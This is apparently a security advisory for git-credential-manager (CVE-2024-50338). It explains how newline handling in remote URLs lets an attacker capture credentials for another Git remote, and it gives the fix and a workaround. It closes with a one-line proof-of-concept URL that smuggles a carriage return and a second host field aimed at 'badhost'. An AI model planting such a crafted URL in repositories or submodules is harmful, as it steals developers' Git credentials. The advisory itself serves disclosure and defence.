Interpretation Conflict Affecting git-credential-manager package, versions [,2.6.1)
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- published15 Jan 2025
- disclosed14 Jan 2025
- creditUnknown
Introduced: 14 Jan 2025
CVE-2024-50338 (opens in a new tab)How to fix?
Upgrade git-credential-manager to version 2.6.1 or higher.
Overview
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of newline characters in remote URLs. An attacker can capture credentials for another Git remote by crafting a malicious URL that manipulates newline interpretations between Git and the Git Credential Manager.
Workaround
Only interact with trusted remote repositories, and do not clone with --recursive to allow inspection of any submodule URLs before cloning those submodules.
PoC
https://\rhost=targethost@badhost